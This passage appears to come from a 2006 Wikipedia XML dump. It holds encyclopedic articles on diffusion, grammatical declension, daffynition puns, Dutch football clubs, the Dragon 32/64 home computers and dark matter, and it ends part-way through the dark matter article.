Diffusion does not only refer to diffusion of particles, it refers to all transport phenomena occurring within [[thermodynamic]] systems under the influence of thermal fluctuations (i.e under the influence of disorder; this excludes transport through an [[hydrodynamic]] flow, which is a macroscopic, ordered phenomena). 

Diffusion is the process through which an inhomogeneous [[thermodynamic]] system at local [[thermodynamic equilibrium]] returns to global [[thermodynamic equilibrium]], through the homogeneisation of the values of its [[intensive]] parameters.

* [[Atomic diffusion]]
* [[Brownian motion]], for example of a single particle in a solvent
* [[Collective diffusion]], the diffusion of a large number of (possibly interacting) particles
* [[Electron]] diffusion, resulting in [[current (electricity)|electric current]]
* [[Heat flow]] (thermal diffusion)
* [[Momentum diffusion]], ex. the diffusion of the [[hydrodynamic]] velocity field
* [[Osmosis]]
* [[Photon diffusion]]
* [[Reverse diffusion]]

==Isotope separation==

* [[Gaseous diffusion]]
* [[Liquid Thermal Diffusion]]

=== Diffusion across biological membranes ===

* [[Facilitated diffusion]]
* Ion diffusion through [[ion channel]]s
* Simple diffusion, not requiring a special [[protein]] channel
* Diffusion in the [[respiratory system]] - in the [[alveoli]] of [[mammal]]ian [[lung]]s, due to differences in partial pressures across the alveolar-capillary membrane, [[oxygen]] diffuses into the blood and [[carbon dioxide]] diffuses out

== See also ==

{{wikibookspar||Constructing school science lab equipment/Apparatus for demonstrating osmosis}}
{{wiktionary}}

* [[Bohm diffusion]]
* [[Brownian motion]]
* [[Collective diffusion]]
* [[Diffusion equation]]
* [[Diffusion MRI]]
* [[Fick's law of diffusion]]
* [[Isotope separation]]
* [[Mass transfer]]
* [[Osmosis]]
* [[Transport phenomena]]

== External links ==

* [http://hyperphysics.phy-astr.gsu.edu/hbase/kinetic/diffus.html Some pictures that  display diffusion and osmosis]

[[Category:Diffusion| ]]

[[cs:Difuze]]
[[da:Diffusion]]
[[de:Diffusität]]
[[fr:Diffusion]]
[[he:פעפוע]]
[[mk:Дифузија]]
[[nl:Diffusie]]
[[ja:拡散]]
[[nn:Diffusjon]]
[[pl:Dyfuzja]]
[[pt:Difusão molecular]]
[[ru:Диффузия]]
[[sl:Difuzija]]
[[fi:Diffuusio]]
[[sv:Diffusion]]
[[zh:扩散]]
[[sr:дифузија]]</text>
    </revision>
  </page>
  <page>
    <title>Declension</title>
    <id>8645</id>
    <revision>
      <id>41488987</id>
      <timestamp>2006-02-27T18:31:16Z</timestamp>
      <contributor>
        <ip>65.215.131.2</ip>
      </contributor>
      <text xml:space="preserve">{{Case table}}
In [[linguistics]], '''declension''' is a feature of [[inflection|inflected]] languages. In the general sense it is the alteration of a [[noun]] to indicate its [[grammar|grammatical]] role. An example in English is the way &quot;he&quot; changes to &quot;him&quot; when it follows a verb or preposition, and to &quot;his&quot; when it is possessive. (HE is my friend. I know HIM. I sent it to HIM. This is HIS book.) 

In inflected languages, nouns are said to ''decline'' into different forms, or '''morphological cases''', which indicate the nouns' function in a sentence. Morphological cases are one way of indicating '''grammatical case'''; other ways are listed below.   Morphological cases are usually indicated by ''desinences'' (endings), but additionally, or alternatively, morphological modifications of the nominal stem may occur (see [[Nonconcatenative morphology]], [[Apophony]], [[umlaut]])

Declension is seen, for example, in many [[Indo-European languages]] like [[Latin]], [[German language|German]] and [[Sanskrit language|Sanskrit]]; in [[Dravidian languages]] like [[Tamil language|Tamil]]; in most [[Uralic languages]], such as [[Finnish (language)|Finnish]] and [[Hungarian (language)|Hungarian]]; in [[Swahili language|Swahili]] and many others. [[Old English language|Old English]] had an extensive case system. In modern [[English grammar]], the same information is now mostly conveyed with [[word order]] and [[preposition]]s, though a few remnants of the older declined form of English still exist (as in &quot;he&quot; vs. &quot;him&quot;; see [[Declension in English]]).

An example of a Latin noun declension is given below, using the word '''homō''' 'man.' Since Latin has no [[Article (grammar)|articles]], that is, no words for 'the' or 'a,' they have been added in the translations.

*homō 'the man' [as a subject] (e.g. homo ibi stat 'the man is standing there')
*hominis 'of the man' (e.g. nōmen hominis est Claudius 'the name of the man is Claudius')
*hominī 'to the man' (e.g. hominī donum dedī 'I gave a present to the man')
*hominem 'the man' [as a direct object] (e.g. hominem vidi 'I saw the man')
*homine 'the man' [in various uses not covered by the above] (e.g. sum altior homine 'I am taller than the man')


The term '''declension''' can also refer to the varied forms working together as a system. For example, the above declension differs from the a-declension, which consists mostly of feminine nouns.

*fēmina 'the woman' [as a subject]
*fēminae 'of the woman'
*fēminae 'to the woman'
*fēminam 'the woman' [as a direct object]
*fēminā 'the woman' [various uses]

Notice that the direct object form of '''homo''' ends in -em and the direct object form of '''femina''' ends in -am. The direct object form of '''manus''' 'hand' ends in -um. Declensions are distinguished by the presence of certain vowels or consonants.

Though English '''pronouns''' can have subject and object forms (he/him, she/her), '''nouns''' show only a singular/plural- and a possessive/non-possessive-distinction (chair, chairs, chair's, chairs'). Note there is no difference in form between &quot;the chair is here&quot; (subject) and &quot;I saw the chair&quot; (direct object). Generally the only variation in English nouns is the insertion of an -e or e-sound for purposes of pronunciation (beach, beaches, beach's, beaches'). The '''n-declension''' is restricted to words like ox-oxen, brother-brethren, and child-children, though in Medieval English the s-declension and the n-declension were in stronger competition.


The hard-core grammarian might also wish to know the following:

Languages are categorized into several case systems, based on how they group verb [[agent (linguistics)|agents]] and [[patient (linguistics)|patients]] into cases:

*''[[nominative-accusative language|Nominative-accusative]]'': The agent of both transitive and intransitive verbs is always in the [[nominative case]]. The patient of a (transitive) verb is in the [[accusative case]]. The [[dative case]] may also be present.
*''[[ergative-absolutive language|Ergative-absolutive]]'' (or simply ''ergative''): The patient of a verb is always in the [[absolutive case]], along with the agent of intransitive verbs.  If both agent and patient are present, the agent is in the [[ergative case]].
*''[[active-stative language|Active-stative]]'' (also called ''active''): The agent of a verb is always in the [[subject case]], and the patient is always in the [[object case]]. The case does not depend on whether a verb is used in a transitive or intransitive form.
*''[[trigger language|Trigger]]'': One noun in a sentence is the topic or focus. This noun is in the [[trigger case]], and information elsewhere in the sentence (for example a [[verb]] [[affix]] in [[Tagalog_language|Tagalog]]) specifies the role of the trigger.  The trigger may be identified as the agent, patient, etc.  Other nouns may be inflected for case, but the inflections are overloaded; for example, in Tagalog, the subject and object of a verb are both expressed in the [[genitive case]] when they are not in the trigger case.

The following are systems that some languages use to mark case instead of, or in addition to, declension:

*''Positional'': Nouns are not inflected for case; the position of a noun in the sentence expresses its case.
*[[preposition|Prepositional]]/[[postposition|postpositional]]: Nouns are accompanied by words that mark case, but the noun itself is not modified.

Some languages have more than 20 cases. For an example of a language that uses a large number of cases, see [[Finnish language noun cases]].

The [[lemma (linguistics)|lemma]] forms of words, which is the form chosen by convention as the canonical form of a word, is usually the most [[markedness|unmarked]] or basic case, which is typically the nominative, trigger, or absolutive case, whichever a language may have.

==See also==
*[[Declension in English]]
*[[Slovak declension]]
*[[Latin declension]]

==External links==
*[http://www.hi.is/~eirikur/cases.pdf The Status of Morphological Case in the Icelandic Lexicon] by Eiríkur Rögnvaldsson. Discussion of whether cases convey any inherent syntactic or semantic meaning.
*[http://web.phil-fak.uni-duesseldorf.de/~wdl/OptCase.pdf Optimal Case: The Distribution of Case in German and Icelandic] by Dieter Wunderlich
*[http://phrontistery.info/cases.html A long list of names for cases] found in one language or another
*[http://www.mwscomp.com/movies/brian/brian-08.htm Scene 8, Monty Python's the Life of Brian] explains [[Latin]] declension. Best if viewed in the context of [[Monty Python's Life of Brian|the movie]] before reading.

[[Category:Grammar]]

&lt;!-- interwiki --&gt;

[[als:Deklination]]
[[ca:Declinació (gramàtica)]]
[[de:Deklination (Grammatik)]]
[[es:Caso]]
[[eo:Kazo]]
[[fr:Déclinaison]]
[[hr:Pade&amp;#382;]]
[[is:Fall (málfræði)]]
[[hu:Eset]]
[[nl:Naamval]]
[[ja:ディクレンション]]
[[ka:ბრუნება]]
[[pl:Przypadek]]
[[ro:Caz]]
[[ru:&amp;#1055;&amp;#1072;&amp;#1076;&amp;#1077;&amp;#1078;]]
[[sr:Падеж]]
[[zh:&amp;#26684; (&amp;#35821;&amp;#27861;)]]</text>
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  </page>
  <page>
    <title>Dozenal Society of Great Britain</title>
    <id>8647</id>
    <revision>
      <id>15906618</id>
      <timestamp>2005-05-19T14:50:00Z</timestamp>
      <contributor>
        <username>MacRusgail</username>
        <id>238113</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Duodecimal]]</text>
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  </page>
  <page>
    <title>Daffynition</title>
    <id>8648</id>
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      <id>39327038</id>
      <timestamp>2006-02-12T10:35:37Z</timestamp>
      <contributor>
        <username>BlankVerse</username>
        <id>169582</id>
      </contributor>
      <comment>delete inline external link, create external link section</comment>
      <text xml:space="preserve">{{wiktionary}}
A '''daffynition''' is a [[pun]] format involving the reinterpretation of an existing word, on the basis that it sounds like another word (or group of words). They are similar to [[transpositional puns]], but often much less complex and easier to create.   
Some daffynitions may be cheap puns, but others can be clever, such as &quot;raisins=the wrath of grapes&quot;. A subclass of daffynition is the goofinition which relies strictly on literal associations and correct spellings, such as &quot;lobster=a weak tennis player&quot;.

Under the name '''Uxbridge English Dictionary''' making up daffynitions is a popular game on the [[BBC Radio 4]] [[comedy]] [[quiz show]] ''[[I'm Sorry I Haven't a Clue]].
    
===Examples===   
*[[Wiktionary:alarms|alarms]]: What an [[octopus]] is. (all arms)
*[[Wiktionary:bigamist|bigamist]]: An [[Italy|Italian]] rainstorm. (big-a-mist)
*[[Wiktionary:dockyard|dockyard]]: A [[physician]]'s [[garden]]. (doc yard)
*[[Wiktionary:dynamite|dynamite]]: To take a flea out to dinner. (dine-a-mite)
*[[Wiktionary:impolite|impolite]]: A flaming elf. (imp-alight)
*[[Wiktionary:innuendoes|innuendoes]]: Italian suppositories. (in-you-end-os)
*[[Wiktionary:oboe|oboe]]: An English [[tramp]]. (hobo)
*[[Wiktionary:paradox|paradox]]: Two doctors. (pair of docs) OR Where one ties two boats. (Pair of docks)
*[[Wiktionary:pasteurise|pasteurise]]: Too far to see. (past your eyes)
*[[Wiktionary:propaganda|propaganda]]: A gentlemanly [[goose]]. (proper gander)
*[[Wiktionary:shrewd|shrewd]]: A rude shrew. (shrew + rude)
*[[Wiktionary:shrink|shrink]]: An ice-skating shrew. (shrew + rink)

===See also===
* [[Transpositional pun]]

==External links==
* [http://www.jimwegryn.com/Words/Daffynitions.htm Daffynitions]
* [http://www.jimwegryn.com/Words/Goofinitions.htm Goofinitions]

[[Category:Jokes]]</text>
    </revision>
  </page>
  <page>
    <title>List of football clubs in the Netherlands</title>
    <id>8649</id>
    <revision>
      <id>40841576</id>
      <timestamp>2006-02-23T10:08:28Z</timestamp>
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        <username>Sjorford</username>
        <id>24741</id>
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      <minor />
      <comment>fix interwikis</comment>
      <text xml:space="preserve">The '''Dutch Football League''' is organized by the [[Koninklijke Nederlandse Voetbal Bond]] (KNVB, Royal Dutch Football Association). There are two divisions for professional [[football (soccer)|football]] teams in the [[Netherlands]]: a premier division (''eredivisie'') of 18 teams and a first division (''eerste divisie'') of 20 teams. Previously, a second division was also in existence, but it was discontinued after the [[1970]]/[[1971]] season.

The most successful teams are [[Ajax Amsterdam]] (29 titles as of 2005), [[PSV Eindhoven]] (18) and [[Feyenoord Rotterdam]] (14). Important teams of the past are HVV (8 titles), [[Sparta Rotterdam|Sparta]] (6 titles) and [[Willem II Tilburg|Willem II]] (3 titles).

==[[Eredivisie]], 2005-2006==
*[[ADO Den Haag]]
*[[Ajax Amsterdam|Ajax]]
*[[AZ Alkmaar|AZ]]
*[[Feyenoord Rotterdam|Feyenoord]]
*[[FC Groningen]]
*[[SC Heerenveen]]
*[[Heracles Almelo]]
*[[NAC Breda]]
*[[NEC Nijmegen|NEC]]
*[[PSV Eindhoven|PSV]]
*[[RBC Roosendaal]]
*[[RKC Waalwijk]]
*[[Roda JC (Kerkrade)|Roda JC]]
*[[Sparta Rotterdam|Sparta Rotterdam]]
*[[FC Twente]]
*[[FC Utrecht]]
*[[Vitesse Arnhem|Vitesse]]
*[[Willem II Tilburg|Willem II]]

==[[Eerste Divisie]], 2005-2006==

*[[AGOVV Apeldoorn]]
*[[Cambuur Leeuwarden]]
*[[De Graafschap]]
*[[FC Den Bosch]]
*[[FC Dordrecht]]
*[[FC Eindhoven]]
*[[FC Emmen]]
*[[Excelsior Rotterdam|Excelsior]]
*[[Fortuna Sittard]]
*[[Go Ahead Eagles]]
*[[HFC Haarlem|Haarlem]]
*[[Helmond Sport]]
*[[MVV Maastricht|MVV]]
*[[FC Omniworld]]
*[[Stormvogels Telstar|Stormvogels/Telstar]]
*[[TOP Oss]]
*[[BV Veendam]]
*[[FC Volendam]]
*[[VVV Venlo|VVV-Venlo]]
*[[FC Zwolle]]

==Former Dutch League teams==
*[[Fortuna 54]] (of [[Geleen]]) and [[Sittardia]] (of [[Sittard]]) merged to form [[Fortuna Sittard]] in 1968.
*[[Blauw Wit]], [[Door Wilskracht Sterk|DWS]] and [[De Volewijckers]] merged to form [[FC Amsterdam]] in 1972, which ceased to exist in [[1982]].
*[[PEC Zwolle|PEC]] and [[Zwolsche Boys]] merged to form [[PEC Zwolle]] in [[1971]], which became [[FC Zwolle]] in [[1990]].
*[[Sportclub Enschede]] and [[Enschedese Boys]] merged to form [[FC Twente]] in [[1965]].
*[[Door Oefening Sterk|DOS]], [[Elinkwijk]] and [[Velox]] merged to form [[FC Utrecht]] in [[1970]].
*[[Groningse Voetbal en Atletiek Vereniging|GVAV]] became FC Groningen in [[1971]].
*[[Alkmaar 54]] and [[FC Zaanstreek]] merged to form [[AZ Alkmaar|AZ]] in [[1967]].
*[[Roda Sport]] and [[Rapid JC]] merged to form [[Roda JC]] in [[1962]].
*[[BVC Rotterdam]] and [[BVC Flamingo's]] merged to form [[Scheveningen Holland Sport]] in [[1954]], which merged with [[ADO Den Haag|ADO]] in [[1971]] to form [[ADO Den Haag|FC Den Haag]], which became [[ADO Den Haag]] in [[1996]].
*[[Emma Dordrecht|Emma]] merged with amateur clubs [[Oefening Doet Slagen|ODS]] en [[Altijd Sterker Worden|ASW]] to form the amateur club [[SC Reeland]].
*[[Eenheid Door Overspel|EDO]] is now an amateur club.
*[[Rigtersbleek]] is now an amateur club.
*[[SVV]]
*[[VC Vlissingen]] (from [[Flushing, Netherlands|Flushing]]) became a professional club in [[1990]], changed its name to [[VCV Zeeland]] a year later, and became an amateur club again in [[1992]]. 
*[[FC Wageningen]] (founded in [[1911]]) won the [[KNVB Cup|Dutch cup]] in [[1939]] and [[1948]], joined the Dutch professional league when it was formed in [[1954]], and remained professional until the club went bankrupt in [[1992]].
*[[Holland Victoria Combinatie|HVC]] of [[Amersfoort]] was formed in [[1905]], joined the league in [[1954]], was renamed to [[SC Amersfoort]] in [[1973]] and went bankrupt in [[1983]].
*[[Fortuna Vlaardingen]] (formed in [[1904]]) joined the professional league in [[1955]], was renamed to [[FC Vlaardingen]] in [[1974]] and went bankrupt in [[1981]].

[[Category:Dutch football clubs|*]]
[[Category:Football (soccer) related lists|Netherlands]]

[[ja:エールディヴィジ]]
[[nl:Lijst van betaald voetbalclubs in Nederland]]
[[tr:Hollanda Futbol Kulüpleri]]</text>
    </revision>
  </page>
  <page>
    <title>Dragon 32/64</title>
    <id>8650</id>
    <revision>
      <id>34469149</id>
      <timestamp>2006-01-09T07:08:40Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
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      <minor />
      <comment>robot  Adding: sv</comment>
      <text xml:space="preserve">:''This article is about the Dragon home computers''.'' For other uses, see [[Dragon (disambiguation)]]''.

The '''Dragon 32''' and '''Dragon 64''' were [[home computer]]s built in the [[1980s]]. The Dragons were very similar to the [[TRS-80 Color Computer]] (CoCo), and were produced for the [[Europe]]an market by [[Dragon Data]], Ltd., in [[Port Talbot]], [[Wales]].  The model numbers reflect the primary difference between the two machines, which had 32 and 64 [[kilobyte]]s of [[random-access memory|RAM]], respectively.

[[image:Dragon_32_computer.jpg|thumb|200px|A '''Dragon 32''' home computer.]]

==Product history==

In the early 1980s, the British home computer market was booming.  New machines were released almost monthly.  In August 1982, Dragon Data joined the fray with the Dragon 32; the Dragon 64 followed a year later.

In the private home computer market, where games were a significant driver, the Dragon suffered due to its graphical capabilities, which were inferior to other machines such as the [[Sinclair Research Ltd|Sinclair]] [[ZX Spectrum]] and [[Commodore 64]]. 

The Dragon was also unable to display [[minuscule|lower-case]] letters easily.  Some more sophisticated applications synthesised them using high-resolution graphics modes (in the same way that user-defined characters would be designed for purely graphical applications such as games).  Simpler programs just managed without lower case.  This effectively locked it out of the then-blooming educational market, which came to be dominated by the [[Acorn Computers Ltd|Acorn]]-built [[BBC Micro]]. 

As a result of these limitations, the Dragon was not a commercial success, and Dragon Data collapsed in June 1984.  

Despite the demise of the parent company, Dragons still proved quite popular.  They had a robust [[motherboard]] in a spacious case, and were much more tolerant of home-modification than many of their contemporaries, which often had their components crammed into the smallest possible space.

==Technical notes==

===Hardware and peripherals===
The Dragon was built around the [[Motorola 6809|Motorola MC6809E]] processor running at 0.89 [[megahertz|MHz]].  For the time, this was a relatively sophisticated 8-bit CPU, with limited 16-bit capabilities.  In terms of raw computational power, the Dragon beat most of its contemporary rivals (which were based on the older [[MOS Technology 6502]] and [[Zilog Z80]]) but this made little difference in a market where graphical capabilities and software library were much more important to consumers.

Many Dragon 32s were upgraded by their owners to 64K. A few were further expanded to 128K, 256K, or 512K, with home-built memory controllers/[[memory management unit]]s (MMUs).

A broad range of peripherals existed for the Dragon 32/64, and on top of this there were add-ons such as the [[Dragon's Claw]] which gave the Dragons access to the [[BBC Micro]]'s large range of accessories (a particularly important factor in the UK home market).  Although neither machine had a built-in disk operating system ([[compact audio cassette|cassette tapes]] being the default data-storage mechanism in the home computer market at the time), DragonDOS was supplied as part of the disk controller interface from Dragon Data Ltd. The numerous external ports (by the standards of the time), including the standard [[RS-232]] on the 64, also allowed hobbyists to attach a diverse range of equipment. 

===System software===
In addition to the [[DragonDOS]] disk operating system the Dragon 32/64  were capable of running several others, including [[FLEX (operating system)|FLEX]] and [[OS-9]] which brought [[Unix|UNIX]]-like multitasking to the platform. Memory-expanded and MMU-equipped Dragons were able to run OS-9 Level 2.

===Differences from the CoCo===
Both the Dragon and the TRS-80 Color Computer (Coco) were based on a Motorola data sheet design for the MC6883 SAM chip for memory management and peripheral control.  

The systems were sufficiently similar that a significant fraction of the compiled software produced for one machine would happily run on the other.  Software running via the built-in Basic interpreters also had a high level of compatibility, but only after they were re-[[tokenize]]d  (which could be achieved fairly easily by transferring via cassette tape with appropriate options).

The Dragon had additional circuitry to make the MC6847 VDG compatible with european 625-line television standards, rather than the US 525-line [[NTSC]] standard, and a [[Centronics]] parallel printer port not present on the Coco.  Some models were manufactured with NTSC video for the US market.

===Dragon 32 vs. Dragon 64===
Aside from the amount of RAM, the 64 also had an [[RS-232]] serial port which was not included on the 32. 

A minor difference between the two Dragon models was the outer case color; the Dragon 32 was [[beige]] and the 64 was light grey. Besides the color and the Dragon 64's serial port (and the model name stickers, of course), the two machines looked exactly the same.

===Special features trivia===
Like with most other home computers, accessing and/or modifying the value of various operating system structures or [[memory mapping|memory mapped]] [[hardware register|control register]]s would invoke more or less useful features of the OS or hardware. The Dragon's &quot;secret incantations&quot; included the following: 
* [[PEEK and POKE|POKE]] 65495,0 let the processor double its ROM access speed. This accelerated the ROM-resident BASIC interpreter, but temporarily disabled correct functioning of the cassette/printer ports. POKE 65495,126 returned the speed to normal.
* POKE 113,18 would cause the computer to perform a [[soft reboot|warm start]].

==References==
*Vander Reyden, John (1983). ''Dragon 32 programmer's reference guide''. Beam Software/Melbourne House. ISBN 0-86161-134-9.
* Smeed, D.; Sommerville, I. (1983). ''Inside the Dragon''. Addison-Wesley.

==External links==
*[http://www.6809.org.uk/dragon/ The Dragon 32/64 Computers] &amp;ndash; at website www.6809.org.uk
*[http://www.grempc.demon.co.uk/dragon/info/ Dragon Information Files] &amp;ndash; from Graham's Dragon Page, by Graham E. Kinns
*[http://www.dragon-archive-online.co.uk/ The Dragon Archive] &amp;ndash; An archive of everything related to the Dragon 32/64 and its clones and prototypes

[[Category:Home computers]]
[[Category:TRS-80 Color Computer]]

[[sv:Dragon 32/64]]</text>
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  <page>
    <title>Dark matter</title>
    <id>8651</id>
    <revision>
      <id>42055648</id>
      <timestamp>2006-03-03T14:21:54Z</timestamp>
      <contributor>
        <username>Jdavidb</username>
        <id>45825</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/167.21.254.11|167.21.254.11]] ([[User talk:167.21.254.11|talk]]) to last version by Dragons flight</comment>
      <text xml:space="preserve">:''This refers to the cosmological use of the term. For other uses, see [[Dark matter (disambiguation)]]''
{{Cosmology}}
In [[cosmology]], '''dark matter''' refers to hypothetical [[matter]] [[particles]], of unknown composition, that do not emit or reflect enough [[electromagnetic radiation]] to be detected directly, but whose presence can be inferred from [[gravity|gravitational]] effects on visible matter such as [[star]]s and [[galaxy|galaxies]]. The dark matter hypothesis aims to explain several anomalous astronomical observations, such as anomalies in the rotational speed of galaxies (the [[galaxy rotation problem]]). Estimates of the amount of matter present in galaxies, based on gravitational effects, consistently suggest that there is far more matter than is directly observable. The existence of dark matter would also resolve a number of inconsistencies in the [[Big Bang]] theory, and is crucial for [[structure formation]].

If dark matter does exist, it has vastly more mass than the &quot;visible&quot; part of the [[universe]] [http://map.gsfc.nasa.gov/m_mm/mr_limits.html]. Only about 4% of the total mass in the universe (as inferred from gravitational effects) can be seen directly. About 23% is thought to be composed of dark matter. The remaining 73% is thought to consist of [[dark energy]], an even stranger component, distributed diffusely in space, that probably cannot be thought of as ordinary particles. Determining the nature of this missing mass is one of the most important problems in modern [[cosmology]] and [[particle physics]].

==Hypothesizing dark matter==

In 1913, Norwegian explorer and physicist [[Kristian Birkeland]] may have been the first to predict that space is not only a [[Plasma (physics)|plasma]], but also contains &quot;dark matter&quot;. He wrote: ''&quot;It seems to be a natural consequence of our points of view to assume that the whole of space is filled with electrons and flying electric ions of all kinds. We have assumed that each stellar system in evolutions throws off electric corpuscles into space. It does not seem unreasonable therefore to think that the greater part of the material masses in the universe is found, not in the solar systems or nebulae, but in 'empty' space&quot;.'' (Ref. See notes) [[Jim Peebles|Professor Peebles]] and [[Jeremiah P. Ostriker|Professor Ostriker]], both of [[Princeton University]] investigated dark matter. 

The first to hypothesize dark matter was [[Switzerland|Swiss]] [[astrophysicist]] [[Fritz Zwicky]], of the [[California Institute of Technology]] (Caltech) in 1933. He applied the [[virial theorem]] to the [[Coma galaxy cluster|Coma]] [[groups and clusters of galaxies|cluster of galaxies]] and obtained evidence of unseen mass. Zwicky estimated the total amount of mass in a [[galaxy cluster|cluster of galaxies]], the [[Coma Cluster]], based on the motions of the galaxies near the edge of the cluster.  When he compared this mass estimate to one based on the number of galaxies and total brightness of the cluster, he found that there was about 400 times more mass than expected.  The gravity of the visible galaxies in the cluster would be far too small for such fast orbits, so something extra was required.  This is known as the &quot;missing mass problem&quot;. Based on these conclusions, Zwicky inferred that there must be some other form of matter existent in the cluster which we have not detected, which provides enough of the mass and gravity to hold the cluster together.

{{unsolved|physics|What is dark matter? How is it generated? Is it related to [[supersymmetry]]?}}

Professor [[Timothy Sumner|T. Sumner]] of the [[Imperial College London]] hypothesized a possible particle, the [[neutralino]], which is a candidate for [[Cold dark matter]] but so far it is undetected.  Sumner was looking for something massive which fails to interact with normal matter.  If dark matter exists throughout the [[Milky Way|Milky Way Galaxy]] it must pass through the Earth but fails to interact with [[the Earth]] or with us.  Professor Sumner and his team have a detector at the bottom of [[Europe]]'s deepest mine in [[Cleveland]], [[England]].  There he hopes [[cosmic ray]]s and surface particles will not distort  the result.  Currently nothing has been found.  [http://www.bbc.co.uk/sn/tvradio/programmes/horizon/missing.shtml]

==Evidence for dark matter==
At present, the density of ordinary [[baryon|baryons]] and [[Radioactive decay|radiation]] in the universe is estimated to be equivalent to about one hydrogen atom per cubic meter of space. However, dark matter and [[dark energy]] are together said to account for 96% of all matter in the universe. This means that only about 4% of all matter can be directly observed. Some hard-to-detect baryonic matter (see [[baryonic dark matter]]) makes a contribution to dark matter, but constitutes only a small portion [http://arxiv.org/abs/astro-ph/0007444] [http://arxiv.org/abs/astro-ph/0002058].

Since it cannot be directly detected via optical means, many aspects of dark matter remain speculative. The [[DAMA/NaI]] experiment has claimed to directly detect dark matter passing through the Earth, though most scientists remain sceptical since negative results of other experiments are (almost) incompatible with the DAMA results if dark matter consists of [[neutralino|neutralinos]].

Recent research reported in January 2006 from the [[University of Massachusetts, Amherst]] would explain the previously mysterious warp in the disk of the Milky Way by the interaction of the Large and Small Magellanic Clouds and the predicted 20 fold increase in mass of the Milky Way taking into account dark matter.

===Galactic rotation===

Much of the evidence for dark matter comes from the study of the motions of [[galaxy|galaxies]].  Many of these appear to be fairly uniform, so by the [[virial theorem]] the total kinetic energy should be half the total gravitational binding energy of the galaxies.  Experimentally, however, the total kinetic energy is found to be much greater: in particular, stars far from the center of galaxies have much higher velocities than predicted by the virial theorem. Galactic [[rotation curve]]s, which illustrate the velocity of rotation versus the distance from the galactic center, cannot be explained by only the visible matter. Assuming that the visible material makes up only a small part of the cluster is the most straightforward way of accounting for this. Galaxies show signs of being composed largely of a roughly spherical [[galactic halo|halo]] of dark matter with the visible matter concentrated in a disc at the center. [[Low surface brightness galaxy|Low surface brightness dwarf galaxies]] are important sources of information for studying dark matter, as they have an uncommonly low ratio of visible matter to dark matter, and have few bright stars at the center which impair observations of the rotation curve of outlying stars.

In 1974 [[Vera Rubin]], now of [[Carnegie Institution of Washington]], found that most [[star]]s in [[Spiral galaxy|spiral galaxies]] orbit at roughly the same speed.  This is known as the [[galaxy rotation problem]].  This problem suggests that either [[Gravity|Newtonian gravity]] does not apply universally or that there is dark matter.  [http://www.bbc.co.uk/sn/tvradio/programmes/horizon/missing.shtml]

Recently, astronomers from [[Cardiff University]] claim to have discovered a [[galaxy]] made almost entirely of dark matter, 50 million light years away in the [[Virgo Cluster]], which was named [[VIRGOHI21]] ([[Wikinews:Dark matter galaxy discovered|Wikinews]], [http://www.newscientist.com/article.ns?id=dn7056 New Scientist]). Unusually, VIRGOHI21 does not appear to contain any visible stars: it was seen with radio frequency observations of hydrogen.  Based on rotation profiles, the scientists estimate that this object contains approximately 1000 times more dark matter than hydrogen and has a total mass of about 1/10th that of the [[Milky Way Galaxy]] we live in.  For comparison, the Milky Way is believed to have roughly 10 times as much dark matter as ordinary matter.  Models of the [[Big Bang]] and [[Large-scale structure of the cosmos|structure formation]] have suggested that such dark galaxies should be very common in the universe, but none have previously been detected.  If the existence of this dark galaxy is confirmed, it provides strong evidence for the theory of galaxy formation and poses problems for alternative explanations of dark matter.

Dark matter is believed to affect [[Groups and clusters of galaxies|galaxy clusters]] as well. The galaxy cluster [[Abell 2029]] is composed of thousands of galaxies enveloped in a cloud of hot gas, and an amount of dark matter equivalent to more than 10&lt;sup&gt;14&lt;/sup&gt; Suns. At the center of this cluster is an enormous, elliptically shaped galaxy that is thought to have been formed from the mergers of many smaller galaxies. More info is available here: [http://chandra.harvard.edu/photo/2003/abell2029/] .

===Structure formation===

A significant amount of non-[[Baryon|baryonic]], cold matter is necessary to explain the [[Large-scale structure of the cosmos|large-scale structure of the universe]]. Observations suggest that [[structure formation]] in the universe proceeds hierarchically, with the smallest structures, such as stars, forming first, and followed by galaxies and then clusters of galaxies. In the universe, it is thought that the first structures that form are [[quasar]]s, which are supermassive black holes. This, ''bottom up'' model of structure formation requires something like cold dark matter to succeed. Ordinary [[Baryon|baryonic]] matter had too high a temperature, and too much pressure left over from the big bang to collapse and form smaller structures, such as stars, via the [[Jeans mass|Jeans]] instability.

Large computer simulations of billions of dark matter particles have been used to confirm that the cold dark matter model of structure formation is consistent with the structures observed in the universe through galaxy surveys, such as the [[Sloan Digital Sky Survey]] and [[2dF Galaxy Redshift Survey]], as well as observations of the [[Lyman-alpha forest]]. These studies have been crucial in constructing the [[Lambda-CDM model]] which measures the cosmological parameters, including the fraction of the universe made up of baryons and dark matter.

Another important tool for future dark matter observations is [[gravitational lensing]], in particular a technique called weak lensing that allows astrophysicists to characterize the distribution of dark matter by statistical means.

==Composition==

Data from a number of lines of evidence, including [[galaxy rotation problem|galaxy rotation curves]], gravitational lensing, structure formation, and the fraction of baryons in clusters and the cluster abundance combined with independent evidence for the baryon density, indicate that 85-90% of the mass in the universe does not interact with the electromagnetic force.  This &quot;dark matter&quot; is evident through its gravitational effect.  Several categories of dark matter have been postulated.

*[[Hot dark matter]]
*[[Warm dark matter]]
*[[Cold dark matter]]
*[[Baryonic dark matter]] 

Hot dark matter consists of particles that travel with [[special relativity|relativistic]] velocities.  One kind of hot dark matter is known, the [[neutrino]].  Neutrinos have a very small mass, do not interact via either the [[electromagnetic]] or the [[strong nuclear force]] and so are incredibly difficult to detect.  This is what makes them appealing as dark matter.  However, bounds on neutrinos indicate that ordinary neutrinos make only a small contribution to the density of dark matter. 

Hot dark matter cannot explain how individual galaxies formed from the Big Bang.  The [[microwave background radiation]] as measured by the [[COBE]] and [[WMAP]] satellites, while incredibly smooth, indicates that matter has clumped on very small scales. Fast moving particles, however,  cannot clump together on such small scales and, in fact, suppress the clumping of other matter. Hot dark matter, while it certainly exists in our universe in the form of neutrinos, is therefore only part of the story. 

To explain structure in the universe it is necessary to invoke cold (non-relativistic) dark matter.  Large masses, like galaxy-sized black holes can be ruled out on the basis of [[gravitational lensing]] data.  Possibilities involving normal [[baryon]]ic matter include [[brown dwarf]]s or perhaps small, dense chunks of heavy elements; such objects are known as [[massive compact halo object]]s, or &quot;MACHOs&quot;.  However, studies of [[big bang nucleosynthesis]] have convinced most scientists that [[baryon|baryonic matter]] such as MACHOs cannot be more than a small fraction of the total dark matter.  

